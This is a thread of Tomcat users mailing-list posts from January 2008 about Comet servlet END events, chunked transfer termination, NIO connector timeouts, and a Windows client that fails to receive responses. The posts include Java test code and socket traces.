> as I mentioned, the "last chunk" doesn't generate an END event, I tried > it locally. of course against 6.0.x trunk. I played around a bit because I was definitely getting an END event and found: Sending 0crlf does not generate and END event. However sending 0crlfcrlf, which is what HttpURLConnection does, does generate an END (or sometimes a read error - see below...) Looking at the http spec, it seems like 0crlfcrlf is actually the proper way to terminate the chunk body: Chunked-Body = *chunk last-chunk trailer CRLF last-chunk = 1*("0") [ chunk-extension ] CRLF Am I reading that correctly? Note about END and read error: When running both the client and the server locally (i.e. little latency), sending 0crlfcrlf would sometimes generate a read error (i.e. inputStream.isAvailable() > 0 would be true and then number of bytes read would be < 0) and sometimes an END event. I tried with both sockets and HttpURLConnection and saw similar behavior. However when using HttpURLConnection I could add a delay of 50 millis. and guarantee that I always got an end event (see code below). I am using the latest 6.0.x trunk updated locally today. Peter CLIENT CODE === URL url = new URL("http://www.seekspeak.com/CometTest";); HttpURLConnection urlConn = (HttpURLConnection) url.openConnection(); urlConn.setRequestMethod("POST"); urlConn.setChunkedStreamingMode(-1); // use default chunk length urlConn.setReadTimeout(0); urlConn.setDoInput(true); urlConn.setDoOutput(true); urlConn.connect(); PrintWriter out = new PrintWriter(urlConn.getOutputStream(), true); out.print("test"); out.flush(); try { // sleep to guarantee an END event - remove this sleep to get read error Thread.sleep(50); } catch (InterruptedException ie) { // do nothing } urlConn.getInputStream(); COMET SERVLET CODE: = public void event(CometEvent cometEvent) throws IOException, ServletException { System.out.println("event: " + cometEvent.getEventType() + ", subtype: " + cometEvent.getEventSubType()); if (cometEvent.getEventType() == CometEvent.EventType.ERROR) { cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.END) { cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.READ) { HttpServletRequest request = cometEvent.getHttpServletRequest(); InputStream inputStream = request.getInputStream(); byte[] buf = new byte[512]; do { int n = inputStream.read(buf); // can throw an IOException if (n > 0) { System.out.println("Read " + n + " bytes: " + new String(buf, 0, n) + " for session: " + request.getSession(true).getId()); } else if (n < 0) { System.out.println("read error"); return; } } while (inputStream.available() > 0); } } On Jan 21, 2008 11:53 AM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > answers inline > > Peter Warren wrote: > > First off, thanks for your responses. The contributors to this list > > are extremely responsive, patient, and helpful, and I really > > appreciate it! > > > > Hmm, in your test case did you set the HttpURLConnection to use > > chunked transfers (setChunkedStreamingMode(...))? I find if I use > > chunked transfers, the HttpURLConnection sends a "last chunk" message > > upon reading input from the server, which generates a comet END event > > on the server. If I don't use chunked transfers, no END event is > > generated because no "last chunk" is sent by the client. > > > as I mentioned, the "last chunk" doesn't generate an END event, I tried > it locally. of course against 6.0.x trunk. > > Which brings up an option I never considered: will a comet servlet > > function properly with non-chunked transfer (i.e. no transfer-coding > > header)? It seems to. > > > yes, it can, just send a very large content-length header > > Lastly, I'm still a little confused about requiring the comet event to > > be closed on an END event. Doesn't this mean that tomcat comet can't > > handle pipelined requests? If a client sends 2 pipelined requests, it > > will send a "last chunk" to indicate the end of the first request. > > This "last chunk" will generate an END even
Re: comet client doesn't receive server response
But this client isn't using a proxy. I've even tried the same client on my home network, where other machines function properly, to try to eliminate router/network/firewall issues. Is it possible that (and here I'm delving into territory I know next to nothing about) the client's socket library waits until the response is closed? It's a windows xp machine. On Jan 20, 2008 8:30 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > yes, most proxies will wait until they receive the end of the response, > before passing it on. > that's what you are seeing, a regular servlet, ends the response right away > > Filip > > > Peter Warren wrote: > > What is interesting to me is that the exact same client code only > > using a different url (i.e. to a normal http servlet, not a comet > > servlet) succeeds. Is there something in comet response headers that > > an antivirus app or firewall would pick up on? Why would a request to > > a normal servlet succeed and a comet servlet fail? Keep in mind the > > comet servlet has been shown to be funtional on numerous other > > machines. > > > > I believe I disabled all firewalls and antivirus on the suspect > > machine, but I will double-check. > > > > Thanks for your response, > > Peter > > > > On Jan 15, 2008 9:37 AM, Leonardo Fraga > > <[EMAIL PROTECTED]> wrote: > > > >> Hello, > >> > >> I've had problems with long http responses and some kind of antiviruses > >> and internet firewalls (avg family, basically). > >> They put a hook on the winsocket stack for http connections and buffer > >> everything you are receiving, until the end (or some high amount of > >> data), to run the checks. In my case, this buffering lasts for minutes, > >> with no byte sent back to the browser. > >> > >> I think this can be a simple point to check... > >> > >> Hugs, > >> > >> Leonardo Fraga > >> Web Developer > >> [EMAIL PROTECTED] > >> > >> > >> Peter Warren wrote: > >> > >> > >>> I posted this question along with some others recently. I'm > >>> re-posting it in its own thread with some additional information. > >>> > >>> I have a comet client app that works on all the machines I've tested > >>> except one. The failing machine sends a comet request to the server > >>> and then waits indefinitely for the response, even though the server > >>> has sent the response and flushed the buffer. I'm trying to figure > >>> out why the client doesn't receive the response and would really > >>> appreciate any tips. > >>> > >>> Server is latest from 6.0.x trunk and using nio connector. > >>> > >>> Failing machine info: > >>> - runs windows xp > >>> - windows firewall is turned off > >>> - fails on multiple networks, so it doesn't seem to be a router or > >>> firewall issue > >>> - computer has no problem with other network access > >>> - same test code pointed at a non-comet servlet (simply changing the > >>> url) succeeds!!! > >>> > >>> I used a socket monitoring tool to see if the client machine receives > >>> the response at all. It doesn't appear to. Below are traces from a > >>> successful machine and the failing machine. I'm not a sockets expert, > >>> so I don't really know what to look for, but the two things that stand > >>> out to me are: > >>> - failing machine uses localhost ip instead of its LAN ip (which is > >>> 192.168.1.102 according to ipconfig) > >>> - succeeding machine uses LAN ip > >>> - I don't understand why they're different > >>> - failing machine receives WSAEWOULDBLOCK error instead of server response > >>> > >>> I believe the WSAEWOULDBLOCK basically indicates that there's nothing > >>> on the socket to be read, which seems to indicate that the failing > >>> machine never receives the response at all. > >>> > >>> Is this a comet problem? Is it a routing problem? Anyone have any > >>> ideas for what the problem might be? Any tips on what I should > >>> investigate next? > >>> > >>> Thanks, > >>> Peter > >>> > >>> SUCCEEDING MACHINE SOCKET TRACE > >>> = > >>> Connect ---
Re: comet end event
First off, thanks for your responses. The contributors to this list are extremely responsive, patient, and helpful, and I really appreciate it! Hmm, in your test case did you set the HttpURLConnection to use chunked transfers (setChunkedStreamingMode(...))? I find if I use chunked transfers, the HttpURLConnection sends a "last chunk" message upon reading input from the server, which generates a comet END event on the server. If I don't use chunked transfers, no END event is generated because no "last chunk" is sent by the client. Which brings up an option I never considered: will a comet servlet function properly with non-chunked transfer (i.e. no transfer-coding header)? It seems to. Lastly, I'm still a little confused about requiring the comet event to be closed on an END event. Doesn't this mean that tomcat comet can't handle pipelined requests? If a client sends 2 pipelined requests, it will send a "last chunk" to indicate the end of the first request. This "last chunk" will generate an END event on the server, which then requires the connection to be closed. After the comet event is closed the server cannot send a response to the client. The END event docs indicate that pipelined request will generate an END event: ...End will also be called when data is available and the end of file is reached on the request input (this usually indicates the client has pipelined a request). Thanks, Peter On Jan 20, 2008 8:15 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > > now I get it. I just ran through a test case, and an END event was not > thrown just because there was an end chunk. > the response is very much still open at that point > > > Filip > > Peter Warren wrote: > > What java.net.HttpURLConnection has to do with Tomcat and comet is > > that HttpURLConnection is Java's implementation of an http client and > > will likely be used by people developing comet apps for Tomcat. In my > > case, I want to use it because I can't use raw sockets on my applet > > client due to permission problems when trying to use sockets behind a > > proxy. > > > > I understand that asynchronous writes are possible, but they're not > > when using HttpURLConnection because HttpURLConnection sends a "last > > chunk" message when it's done with its request. "Last chunk" > > generates a comet end event, which then requires that the connection > > to the client be closed. > > > > I guess I don't understand why tomcat needs to close the connection > > after an END event. It seems to me that the "last chunk" message from > > the client simply indicates that the client is done sending its > > request. Why does the server need to close the connection when the > > client finishes its request? > > > > Peter > > > > On Jan 19, 2008 6:01 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > > > >> I'm not sure what HttpURLConnection has to do with Tomcat or comet. > >> and yes, asynchronous writes are possible, just not after the END or > >> ERROR events have been issued > >> > >> Filip > >> > >> > >> Peter Warren wrote: > >> > >>> Does that mean that HttpURLConnection cannot be used for comet > >>> requests with asynchronous (i.e. delayed) responses? > >>> > >>> It would seem so to me since HttpURLConnection always sends an END > >>> message before reading from the server and since the server can no > >>> longer write to the client after closing the comet event. Am I > >>> missing something? Is there a way to write to the client after the > >>> comet event is closed? > >>> > >>> Would you consider it a bug that HttpURLConnection is implemented that > >>> way? > >>> > >>> Peter > >>> > >>> On Jan 18, 2008 9:21 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> > >>> wrote: > >>> > >>> > >>>> during end and error, you MUST close the Comet event > >>>> > >>>> Filip > >>>> > >>>> > >>>> Peter Warren wrote: > >>>> > >>>> > >>>>> What do I do to make the END event stop repeating? I don't want to > >>>>> close the CometEvent yet because the server is waiting for data to > >>>>> send to the client. If I don't close the comet event, the END event > >>>>> repeats incessantly. > >>>>> > >>>>> I
Re: comet end event
What java.net.HttpURLConnection has to do with Tomcat and comet is that HttpURLConnection is Java's implementation of an http client and will likely be used by people developing comet apps for Tomcat. In my case, I want to use it because I can't use raw sockets on my applet client due to permission problems when trying to use sockets behind a proxy. I understand that asynchronous writes are possible, but they're not when using HttpURLConnection because HttpURLConnection sends a "last chunk" message when it's done with its request. "Last chunk" generates a comet end event, which then requires that the connection to the client be closed. I guess I don't understand why tomcat needs to close the connection after an END event. It seems to me that the "last chunk" message from the client simply indicates that the client is done sending its request. Why does the server need to close the connection when the client finishes its request? Peter On Jan 19, 2008 6:01 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > I'm not sure what HttpURLConnection has to do with Tomcat or comet. > and yes, asynchronous writes are possible, just not after the END or > ERROR events have been issued > > Filip > > > Peter Warren wrote: > > Does that mean that HttpURLConnection cannot be used for comet > > requests with asynchronous (i.e. delayed) responses? > > > > It would seem so to me since HttpURLConnection always sends an END > > message before reading from the server and since the server can no > > longer write to the client after closing the comet event. Am I > > missing something? Is there a way to write to the client after the > > comet event is closed? > > > > Would you consider it a bug that HttpURLConnection is implemented that way? > > > > Peter > > > > On Jan 18, 2008 9:21 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > > > >> during end and error, you MUST close the Comet event > >> > >> Filip > >> > >> > >> Peter Warren wrote: > >> > >>> What do I do to make the END event stop repeating? I don't want to > >>> close the CometEvent yet because the server is waiting for data to > >>> send to the client. If I don't close the comet event, the END event > >>> repeats incessantly. > >>> > >>> I'm using an unsigned applet as a comet client. To accommodate > >>> proxies, I've had to change my comet client to use HttpURLConnection > >>> instead of Sockets. (Accessing ProxySelector from an applet to create > >>> a socket with a proxy generates an AccessControlException.) > >>> > >>> HttpURLConnection unfortunately sends a 0crlf when its input stream is > >>> retrieved for reading. This generates a Comet END event. Short of > >>> closing the comet event, how can I make the server stop notifying me > >>> of END events? I can't close the comet event because I want to hold > >>> onto the comet output stream for use later to send data to the client. > >>> > >>> >From the comet docs: > >>> EventType.END: End may be called to end the processing of the request. > >>> Fields that have been initialized in the begin method should be reset. > >>> After this event has been processed, the request and response objects, > >>> as well as all their dependent objects will be recycled and used to > >>> process other requests. End will also be called when data is available > >>> and the end of file is reached on the request input (this usually > >>> indicates the client has pipelined a request). > >>> > >>> This seems to indicate that even if I could get the END event to go > >>> away quietly, the comet event's output stream might no longer be > >>> usable anyway. > >>> > >>> It seems to me I have 3 options: > >>> 1) figure out how to make the comet END event stop repeating and hope > >>> it's output stream still works > >>> 2) figure out how to keep HttpURLConnection from sending 0crlf (don't > >>> know if that can be done) > >>> 2) use sockets with ProxySelector (which requires signing my applet > >>> and getting users to grant it privileges) > >>> > >>> Thanks, > >>> Peter > >>> > >>> - > >>> To start a new topic, e-mail: users@tomcat.apache.org > >>>
Re: comet end event
Does that mean that HttpURLConnection cannot be used for comet requests with asynchronous (i.e. delayed) responses? It would seem so to me since HttpURLConnection always sends an END message before reading from the server and since the server can no longer write to the client after closing the comet event. Am I missing something? Is there a way to write to the client after the comet event is closed? Would you consider it a bug that HttpURLConnection is implemented that way? Peter On Jan 18, 2008 9:21 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > during end and error, you MUST close the Comet event > > Filip > > > Peter Warren wrote: > > What do I do to make the END event stop repeating? I don't want to > > close the CometEvent yet because the server is waiting for data to > > send to the client. If I don't close the comet event, the END event > > repeats incessantly. > > > > I'm using an unsigned applet as a comet client. To accommodate > > proxies, I've had to change my comet client to use HttpURLConnection > > instead of Sockets. (Accessing ProxySelector from an applet to create > > a socket with a proxy generates an AccessControlException.) > > > > HttpURLConnection unfortunately sends a 0crlf when its input stream is > > retrieved for reading. This generates a Comet END event. Short of > > closing the comet event, how can I make the server stop notifying me > > of END events? I can't close the comet event because I want to hold > > onto the comet output stream for use later to send data to the client. > > > > >From the comet docs: > > EventType.END: End may be called to end the processing of the request. > > Fields that have been initialized in the begin method should be reset. > > After this event has been processed, the request and response objects, > > as well as all their dependent objects will be recycled and used to > > process other requests. End will also be called when data is available > > and the end of file is reached on the request input (this usually > > indicates the client has pipelined a request). > > > > This seems to indicate that even if I could get the END event to go > > away quietly, the comet event's output stream might no longer be > > usable anyway. > > > > It seems to me I have 3 options: > > 1) figure out how to make the comet END event stop repeating and hope > > it's output stream still works > > 2) figure out how to keep HttpURLConnection from sending 0crlf (don't > > know if that can be done) > > 2) use sockets with ProxySelector (which requires signing my applet > > and getting users to grant it privileges) > > > > Thanks, > > Peter > > > > - > > To start a new topic, e-mail: users@tomcat.apache.org > > To unsubscribe, e-mail: [EMAIL PROTECTED] > > For additional commands, e-mail: [EMAIL PROTECTED] > > > > > > > > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
comet end event
What do I do to make the END event stop repeating? I don't want to close the CometEvent yet because the server is waiting for data to send to the client. If I don't close the comet event, the END event repeats incessantly. I'm using an unsigned applet as a comet client. To accommodate proxies, I've had to change my comet client to use HttpURLConnection instead of Sockets. (Accessing ProxySelector from an applet to create a socket with a proxy generates an AccessControlException.) HttpURLConnection unfortunately sends a 0crlf when its input stream is retrieved for reading. This generates a Comet END event. Short of closing the comet event, how can I make the server stop notifying me of END events? I can't close the comet event because I want to hold onto the comet output stream for use later to send data to the client. >From the comet docs: EventType.END: End may be called to end the processing of the request. Fields that have been initialized in the begin method should be reset. After this event has been processed, the request and response objects, as well as all their dependent objects will be recycled and used to process other requests. End will also be called when data is available and the end of file is reached on the request input (this usually indicates the client has pipelined a request). This seems to indicate that even if I could get the END event to go away quietly, the comet event's output stream might no longer be usable anyway. It seems to me I have 3 options: 1) figure out how to make the comet END event stop repeating and hope it's output stream still works 2) figure out how to keep HttpURLConnection from sending 0crlf (don't know if that can be done) 2) use sockets with ProxySelector (which requires signing my applet and getting users to grant it privileges) Thanks, Peter - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Comet Development
This post (http://www.nabble.com/comet-questions-td14673697.html#a14673697) contains test code for both a client & comet servlet. See if it helps. On Jan 16, 2008 10:35 AM, Siobhan <[EMAIL PROTECTED]> wrote: > To anyone who has successfully used Comet: > > > > I've been trying to use Comet with Tomcat 6.0 for a few weeks now and have > been unsuccessful. I'm so frustrated with the lack of documentation and the > unusable example that was given with Tomcat. > > > > Are there any step-by-step instructions on how to successfully implement a > test program? > > > > -SB > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet client doesn't receive server response
What is interesting to me is that the exact same client code only using a different url (i.e. to a normal http servlet, not a comet servlet) succeeds. Is there something in comet response headers that an antivirus app or firewall would pick up on? Why would a request to a normal servlet succeed and a comet servlet fail? Keep in mind the comet servlet has been shown to be funtional on numerous other machines. I believe I disabled all firewalls and antivirus on the suspect machine, but I will double-check. Thanks for your response, Peter On Jan 15, 2008 9:37 AM, Leonardo Fraga <[EMAIL PROTECTED]> wrote: > Hello, > > I've had problems with long http responses and some kind of antiviruses > and internet firewalls (avg family, basically). > They put a hook on the winsocket stack for http connections and buffer > everything you are receiving, until the end (or some high amount of > data), to run the checks. In my case, this buffering lasts for minutes, > with no byte sent back to the browser. > > I think this can be a simple point to check... > > Hugs, > > Leonardo Fraga > Web Developer > [EMAIL PROTECTED] > > > Peter Warren wrote: > > >I posted this question along with some others recently. I'm > >re-posting it in its own thread with some additional information. > > > >I have a comet client app that works on all the machines I've tested > >except one. The failing machine sends a comet request to the server > >and then waits indefinitely for the response, even though the server > >has sent the response and flushed the buffer. I'm trying to figure > >out why the client doesn't receive the response and would really > >appreciate any tips. > > > >Server is latest from 6.0.x trunk and using nio connector. > > > >Failing machine info: > >- runs windows xp > >- windows firewall is turned off > >- fails on multiple networks, so it doesn't seem to be a router or > >firewall issue > >- computer has no problem with other network access > >- same test code pointed at a non-comet servlet (simply changing the > >url) succeeds!!! > > > >I used a socket monitoring tool to see if the client machine receives > >the response at all. It doesn't appear to. Below are traces from a > >successful machine and the failing machine. I'm not a sockets expert, > >so I don't really know what to look for, but the two things that stand > >out to me are: > >- failing machine uses localhost ip instead of its LAN ip (which is > >192.168.1.102 according to ipconfig) > > - succeeding machine uses LAN ip > > - I don't understand why they're different > >- failing machine receives WSAEWOULDBLOCK error instead of server response > > > >I believe the WSAEWOULDBLOCK basically indicates that there's nothing > >on the socket to be read, which seems to indicate that the failing > >machine never receives the response at all. > > > >Is this a comet problem? Is it a routing problem? Anyone have any > >ideas for what the problem might be? Any tips on what I should > >investigate next? > > > >Thanks, > >Peter > > > >SUCCEEDING MACHINE SOCKET TRACE > >= > >Connect > >Address: 66.241.85.247:80 > >Return Value: 0 > >Error Code:0 > > > >GetSockName > >Address: 192.168.1.133:1104 > >Return Value: 0 > >Error Code:0 > > > >SetSockOpt - > >Level: SOL_SOCKET > >Opt Name: SO_KEEPALIVE > >Opt Len: 4 > >Return Value: 0 > >Error Code:0 > >01 00 00 00 > > > >Send --- > >Address: 192.168.1.133:1104 => 66.241.85.247:80 > >Flags: 0 > >Return Value: 0 > >Error Code:0 > >Data: > >POST /servlet/Receive HTTP/1.1 > >Host: www.seekspeak.com > >User-Agent: SeekSpeak > >Connection: keep-alive > >Content-Type: text/plain > >Transfer-Encoding: chunked > > > >2c > >source_chat_id=192.168.1.1%3A486547763981705 > > > > > >Recv --- > >Address: 192.168.1.133:1104 =< 66.241.85.247:80 > >Flags: 0 > >Return Value: 0 > >Error Code:0 > >Data: > >HTTP/1.1 200 OK > >Server: Apache-Coyote/1.1 > >Set-Cookie: JSE
Re: comet questions
Anyone else experiencing comet timeout problems with the nio connector and the latest 6.0.x trunk? My cometEvent.setTimeout(...) setting is ignored, but I do receive comet timeouts based on the connectionTimeout setting for the nio connector. Setting the connectionTimeout to 10 secs gives me a comet timeout event every 10 secs. Setting it to 2 mins gives a comet timeout every 2 mins. The docs don't mention any link between the connectionTimeout settings and comet timeout events that I can find. Connector config: On Jan 9, 2008 12:23 PM, Peter Warren <[EMAIL PROTECTED]> wrote: > Using the nio connector from the latest 6.0.x trunk, I'm failing to > receive any comet timeouts. I set the comet timeout to 5 secs but, > after waiting much longer than 5 secs, the only two events I receive > are begin and read. > > event: BEGIN, subtype: null > for servlet: com.seekspeak.server.debug.CometTestServlet > time: Wed Jan 09 12:12:28 PST 2008 > on cometEvent: [EMAIL PROTECTED] > with "org.apache.tomcat.comet.timeout" attribute: null > with "org.apache.tomcat.comet.timeout.support" attribute: true > event: READ, subtype: null > for servlet: com.seekspeak.server.debug.CometTestServlet > time: Wed Jan 09 12:12:28 PST 2008 > on cometEvent: [EMAIL PROTECTED] > with "org.apache.tomcat.comet.timeout" attribute: 5000 > with "org.apache.tomcat.comet.timeout.support" attribute: true > > I see that the Http11NioProcessor changed some comet timeout specific > code from the previous rev. Could this be having an impact? > > Below is my test client and test servlet. Am I doing something wrong? > > Thanks, > Peter > > SERVLET > --- > public class CometTestServlet extends HttpServlet implements CometProcessor { > > public void event(CometEvent cometEvent) throws IOException, > ServletException { > System.out.println("event: " + cometEvent.getEventType() + ", > subtype: " + cometEvent.getEventSubType()); > System.out.println("\tfor servlet: " + this.getClass().getName()); > System.out.println("\ttime: " + new Date(System.currentTimeMillis())); > System.out.println("\ton cometEvent: " + cometEvent); > System.out.println("\twith \"org.apache.tomcat.comet.timeout\" > attribute: " > + > cometEvent.getHttpServletRequest().getAttribute("org.apache.tomcat.comet.timeout")); > System.out.println("\twith > \"org.apache.tomcat.comet.timeout.support\" attribute: " > + > cometEvent.getHttpServletRequest().getAttribute("org.apache.tomcat.comet.timeout.support")); > if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { > cometEvent.setTimeout(5 * 1000); > } else if (cometEvent.getEventType() == CometEvent.EventType.ERROR) { > cometEvent.close(); > } else if (cometEvent.getEventType() == CometEvent.EventType.END) { > cometEvent.close(); > } else if (cometEvent.getEventType() == CometEvent.EventType.READ) { > handleReadEvent(cometEvent); > } > } > > > private void handleReadEvent(CometEvent cometEvent) throws > IOException, ServletException { > ServerCometChannel talker = new ServerCometChannel(cometEvent); > respond(talker); > } > > private void respond(ServerCometChannel channel) throws IOException { > String clientMessage = channel.receive(); > if (clientMessage != null && clientMessage.length() > 0) { > channel.send("comet succeeded"); > } > } > > private class ServerCometChannel { > > private static final int OUTPUT_BUFFER_SIZE = 512; > > private CometEvent cometEvent; > > private InputStream inputStream; > > private PrintWriter outputWriter; > > public ServerCometChannel(CometEvent cometEvent) throws > IOException, ServletException { > this.cometEvent = cometEvent; > inputStream = cometEvent.getHttpServletRequest().getInputStream(); > OutputStream outputStream = > cometEvent.getHttpServletResponse().getOutputStream(); > this.outputWriter = new PrintWriter(new BufferedWriter(new > OutputStreamWriter(outputStream), > OUTPUT_BUFFER_SIZE)); > } > > private String receive() throws IOException { > StringBuffer buffer = new StringBuffer(); > byte[] buf = new byte[512];
comet client doesn't receive server response
I posted this question along with some others recently. I'm re-posting it in its own thread with some additional information. I have a comet client app that works on all the machines I've tested except one. The failing machine sends a comet request to the server and then waits indefinitely for the response, even though the server has sent the response and flushed the buffer. I'm trying to figure out why the client doesn't receive the response and would really appreciate any tips. Server is latest from 6.0.x trunk and using nio connector. Failing machine info: - runs windows xp - windows firewall is turned off - fails on multiple networks, so it doesn't seem to be a router or firewall issue - computer has no problem with other network access - same test code pointed at a non-comet servlet (simply changing the url) succeeds!!! I used a socket monitoring tool to see if the client machine receives the response at all. It doesn't appear to. Below are traces from a successful machine and the failing machine. I'm not a sockets expert, so I don't really know what to look for, but the two things that stand out to me are: - failing machine uses localhost ip instead of its LAN ip (which is 192.168.1.102 according to ipconfig) - succeeding machine uses LAN ip - I don't understand why they're different - failing machine receives WSAEWOULDBLOCK error instead of server response I believe the WSAEWOULDBLOCK basically indicates that there's nothing on the socket to be read, which seems to indicate that the failing machine never receives the response at all. Is this a comet problem? Is it a routing problem? Anyone have any ideas for what the problem might be? Any tips on what I should investigate next? Thanks, Peter SUCCEEDING MACHINE SOCKET TRACE = Connect Address: 66.241.85.247:80 Return Value: 0 Error Code:0 GetSockName Address: 192.168.1.133:1104 Return Value: 0 Error Code:0 SetSockOpt - Level: SOL_SOCKET Opt Name: SO_KEEPALIVE Opt Len: 4 Return Value: 0 Error Code:0 01 00 00 00 Send --- Address: 192.168.1.133:1104 => 66.241.85.247:80 Flags: 0 Return Value: 0 Error Code:0 Data: POST /servlet/Receive HTTP/1.1 Host: www.seekspeak.com User-Agent: SeekSpeak Connection: keep-alive Content-Type: text/plain Transfer-Encoding: chunked 2c source_chat_id=192.168.1.1%3A486547763981705 Recv --- Address: 192.168.1.133:1104 =< 66.241.85.247:80 Flags: 0 Return Value: 0 Error Code:0 Data: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=4618F4394D4924A5629628ED1CD2ADDE; Path=/ Transfer-Encoding: chunked Date: Thu, 10 Jan 2008 07:55:05 GMT 49 OK COMMAND INVITATION_ACCEPTED tutorial_client Invitation accepted... FAILING MACHINE SOCKET TRACE = Connect Address: 66.241.85.247:80 Return Value: 0 Error Code:0 GetSockName Address: 127.0.0.1:2085 Return Value: 0 Error Code:0 SetSockOpt - Level: SOL_SOCKET Opt Name: SO_KEEPALIVE Opt Len: 4 Return Value: 0 Error Code:0 01 00 00 00 Send --- Address: 127.0.0.1:2085 => 66.241.85.247:80 Flags: 0 Return Value: 0 Error Code:0 Data: POST /servlet/Receive HTTP/1.1 Host: www.seekspeak.com User-Agent: SeekSpeak Connection: keep-alive Content-Type: text/plain Transfer-Encoding: chunked 2c source_chat_id=192.168.1.1%3A485374421886120 Select - Return Value: 0 Error Code:0 Recv --- Address: 127.0.0.1:2077 =< 66.241.85.247:80 Flags: 0 Return Value: -1 Error Code:WSAEWOULDBLOCK - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet questions
String received = channel.receive(); System.out.println("received: " + received); Thread.sleep(60 * 60 * 1000); } private class CometChannel { private static final int INPUT_BUFFER_SIZE = 512; private static final int OUTPUT_BUFFER_SIZE = 512; private static final String DELIMITER = "\r\n"; private URL url; private BufferedReader inputReader; private PrintWriter outputWriter; private Socket socket; private boolean firstRead = true; public CometChannel(URL url) throws IOException { this.url = url; initConnection(); } private void initSocket() throws IOException { int port = url.getPort(); port = (port < 0) ? url.getDefaultPort() : port; try { socket = new Socket(url.getHost(), port); socket.setKeepAlive(true); inputReader = new BufferedReader(new InputStreamReader(socket.getInputStream()), INPUT_BUFFER_SIZE); outputWriter = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()), OUTPUT_BUFFER_SIZE)); } catch (NoRouteToHostException nrthe) { System.out.println("host: " + url.getHost()); nrthe.printStackTrace(); } } private void initConnection() throws IOException { initSocket(); sendHeaders(); } private void sendHeaders() { String path = url.getPath(); StringBuffer outputBuffer = new StringBuffer(); outputBuffer.append("POST " + path + " HTTP/1.1" + DELIMITER); outputBuffer.append("Host: " + url.getHost() + DELIMITER); outputBuffer.append("User-Agent: CometTestApplet" + DELIMITER); outputBuffer.append("Connection: keep-alive" + DELIMITER); outputBuffer.append("Content-Type: text/plain" + DELIMITER); outputBuffer.append("Transfer-Encoding: chunked" + DELIMITER); outputBuffer.append(DELIMITER); synchronized (outputWriter) { outputWriter.print(outputBuffer.toString()); } } public void send(String chunkData) throws IOException { String hexChunkLength = Integer.toHexString(chunkData.length()); StringBuffer outputBuffer = new StringBuffer(); outputBuffer.append(hexChunkLength); outputBuffer.append(DELIMITER); outputBuffer.append(chunkData); outputBuffer.append(DELIMITER); synchronized (outputWriter) { outputWriter.print(outputBuffer.toString()); outputWriter.flush(); } } private String readChunk() throws IOException { StringBuffer inputBuffer = new StringBuffer(); String hexChunkSize = inputReader.readLine(); System.out.println("chunk size: " + hexChunkSize); if (hexChunkSize != null) { int chunkSize = Integer.parseInt(hexChunkSize, 16); int charsRead = 0; char[] buf = new char[chunkSize]; do { int n = inputReader.read(buf); charsRead += n; if (n > 0) { inputBuffer.append(new String(buf, 0, n)); } else if (n < 0) { // occurs when connection is closed, often in response // to http session timeout from server throw new IOException("no bytes read"); } } while (charsRead < chunkSize); // extra \r\n sent after chunk - part of protocol inputReader.readLine(); } return inputBuffer.toString(); } public String receive() throws IOException { if (firstRead) { firstRead = false; readHeaders(); } return readChunk(); } private void readHeaders() throws IOException { String header; while ((header = inputReader.readLine()) != null) { System.out.println("header: " + header); if (header.length() == 0) { break; } } } } } On Jan 7, 2008 4:43 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > The time when it is called without a subtype, is if the > application(servlet) has an unhandled exception > > in terms of timeout, that should work just dandy, unless the client > disconnects, at which point at which point you might get a subtype of > IOEXCEPTION, or CLIE
Re: comet questions
Using the NIO connector: protocol="org.apache.coyote.http11.Http11NioProtocol". I'll add response.flushBuffer() and see if that helps. The tomcat version I was testing against was current with svn as of last Friday. I just updated and the only files that are new are: catalina.policy STATUS.txt changelog.xml Any ideas about the timeout setting or the comet error event without a subtype? Thanks for your response! Peter On Jan 7, 2008 12:44 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > what connector are you using? > I would try to use response.flushBuffer when you wanna flush it out (ie > after you've written to and flushed your stream). > > also, there have been some bug fixes, that you can get from SVN, or wait > for 6.0.16 to come out > > Filip > > > Peter Warren wrote: > > I have some comet questions. I'm using the tomcat 6.0.x trunk as of > > last Friday. > > > > 1) My comet event timeout setting being honored. How come? I set the > > timeout for 3 hours but a timeout event gets generated every 2 > > minutes. If I inspect the comet event for which the timeout is > > triggered, I see a setting for the request attribute of: > > org.apache.tomcat.comet.timeout=1080. > > > > I set it as follows: > > > > public void event(CometEvent cometEvent) throws IOException, > > ServletException { > > ... > > if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { > > // COMET_TIMEOUT = 3 * 60 * 60 * 1000 > > cometEvent.setTimeout(TimingConstants.COMET_TIMEOUT); > > > > Do I need to set something else as well? > > > > 2) Occasionally I'm getting a comet event of type ERROR without any > > subtype (i.e. not TIMEOUT, CLIENT_DISCONNECT, etc.). What does that > > indicate? I don't see any errors in my catalina log. > > > > 3) Reading the response from a comet servlet fails for one of my > > client machines. I wrote a simple test to check the problem. This > > test succeeds for many other users. For the failing client, the > > client request is received by the comet servlet, and the servlet's > > response is written and flushed to the stream. The client then simply > > waits indefinitely trying to read the response. The failing client is > > a 